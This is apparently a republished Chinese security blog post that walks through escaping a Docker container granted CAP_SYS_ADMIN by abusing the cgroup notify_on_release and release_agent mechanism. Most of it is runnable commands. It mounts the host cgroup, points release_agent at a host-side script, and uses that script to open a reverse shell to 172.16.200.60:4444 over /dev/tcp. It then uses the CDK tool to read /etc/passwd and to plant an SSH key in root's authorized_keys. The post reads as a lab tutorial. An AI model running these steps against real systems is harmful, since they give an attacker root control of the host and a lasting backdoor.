CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸

admin 2023年6月25日10:09:59评论47 views字数 1515阅读5分3秒阅读模式
当容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括mount文件系统,交换空间,还有对各种设备的操作以及系统调试相关的调用。
环境搭建
执行如下命令启动存在漏洞的容器环境,在赋予sys_admin权限的同时,需要关掉安全组apparmor设置
docker run -d -P --cap-add=cap_sys_admin --security-opt apparmor=unconfined --name=test nginx:latest
在容器中使用cdk进行检测,可以看到容器中多了CAP_SYS_ADMIN的Capability
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
也可以手动检测Capability
cat /proc/self/status | grep CapEffcapsh --decode=00000000a82425fb
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
利用notify-on-release进行容器逃逸
在容器内挂载宿主机cgroup的memory
#将cgroup进行挂载mkdir /tmp/test && mount -t cgroup -o memory cgroup /tmp/test#接着我们在挂载的目录下再创建一个子进程,主要攻击目标应在子进程内,因为攻击的过程需要将cgroup下所有的task清除,所以在同样环境的子进程内进行更加合理安全mkdir /tmp/test/x
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
第二步就需要我们设置notify_on_release文件内容为1,设置release_agent文件的对应路径为宿主机的可写目录upperdir
echo 1 > /tmp/test/x/notify_on_releasehost_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/test/release_agent
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
其中,cmd为需要宿主机执行的命令,本次使用sh反弹shell:
echo '#!/bin/sh' > /cmdecho 'sh -i >& /dev/tcp/172.16.200.60/4444 0>&1' >> /cmdchmod a+x /cmd
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
清除cgroup.procs中的进程,触发release_agent执行cmd文件进行反弹shelll。该命令启动一个sh进程,将sh进程的PID写入到/tmp/test/x/cgroup.procs中。这里的$$表示sh进程的PID。在执行完sh -c后,sh进程会自动退出,这样Cgroup /tmp/test/x 中就不再包含任何任务,/tmp/test/release_agent文件里的shell将被操作系统执行。
sh -c "echo $$ > /tmp/test/x/cgroup.procs"
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
也可以使用CDK来执行命令。CDK会劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发shellcode执行,完成逃逸。
./cdk run mount-cgroup "cat /etc/passwd"
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
可以写入公钥文件,注意这里最后需要加个 |
./cdk run mount-cgroup "echo 'ssh-rsa xx '>> /root/.ssh/authorized_keys | "
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
但是还不能免密登录,由于等过这种方式写的公钥文件权限的原因,还需要之行如下命令进行权限修改。
./cdk run mount-cgroup "chmod 644 /root/.ssh/authorized_keys"
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
END

原文始发于微信公众号(谢公子学安全):CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月25日10:09:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸https://cn-sec.com/archives/1831290.html

发表评论

匿名网友 填写信息